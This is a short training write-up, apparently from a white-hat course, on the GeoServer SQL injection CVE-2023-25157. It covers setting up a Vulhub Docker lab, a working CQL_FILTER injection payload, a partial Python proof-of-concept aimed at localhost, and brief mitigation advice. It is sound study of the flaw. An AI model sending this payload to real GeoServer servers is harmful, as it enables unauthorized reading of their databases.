geoserver CVE-2023-25157
الفريق الأبيض (White Hat) الدفعة الثالثة [الصف 30] كيم جونغ-وو
رابط جيثب - https://github.com/custiya/geoserver-CVE-2023-25157
ملخص الثغرة
- CVE-2023-25157 هي ثغرة SQLi تصيب GeoServer، وهو تطبيق ويب مفتوح المصدر لخدمات بيانات الخرائط
- تحدث في بعض إصدارات GeoServer حتى 2.22.0 وما دون
- المعامل المسمى CQL_FILTER في طلبات WFS (Web Feature Service) هو المُعرَّض للخطر
- يمكن لأي شخص استغلالها إذا كان بإمكانه الوصول إلى هذه الواجهة البرمجية (API) دون مصادقة
إعداد البيئة
- تشغيل بيئة الاختبار باستخدام الأمر docker compose up -d
- يمكن الوصول إلى الصفحة عبر http://your-ip:8080/geoserver
- يجب أولاً اكتشاف مساحة عمل موجودة تحتوي على مخزن بيانات PostGIS
- يحتوي مثيل GeoServer في Vulhub بالفعل على مخزن بيانات PostGIS
- اسم مساحة العمل: vulhub
- اسم مخزن البيانات: pg
- اسم الجدول: example
- الخاصية المستخدمة: name
poc.py
- نموذج لعبارة SQLi مبني على ما سبق وصفه أعلاه
- يتم إرسال تلك العبارة إلى الخادم باستخدام وحدة request
- strStartsWith(name,'x'') = true
- إضافة علامة اقتباس ' إضافية بعد x لكسر صيغة SQL
- and 1=(SELECT CAST ((SELECT version()) AS integer))
- دالة version() هي دالة تعيد الإصدار الحالي من PostgreSQL، وهي قيمة نصية (string)
- CAST(... AS integer) يحوّل القيمة قسراً إلى عدد صحيح، مما يسبب حدوث خطأ
- يستجيب الخادم برسالة خطأ، مما يتيح اختبار حقن SQL الأعمى (Blind SQL Injection)
# 대상 URL
url = "http://localhost:8080/geoserver/ows"
# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# 파라미터 설정
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
النتيجة

الخلاصة
- من خلال هذا الـ PoC، أمكن التحقق من حدوث SQLi. يمكن للمهاجم جمع معلومات النظام عبر استعلامات SQL.
- لمنع هذا الهجوم، يجب إضافة التحقق من مدخلات المستخدم. كما يجب عدم استخدام عبارات SQL المُدخلة مباشرةً كما هي، بل تخزينها بشكل منفصل ثم استخدامها.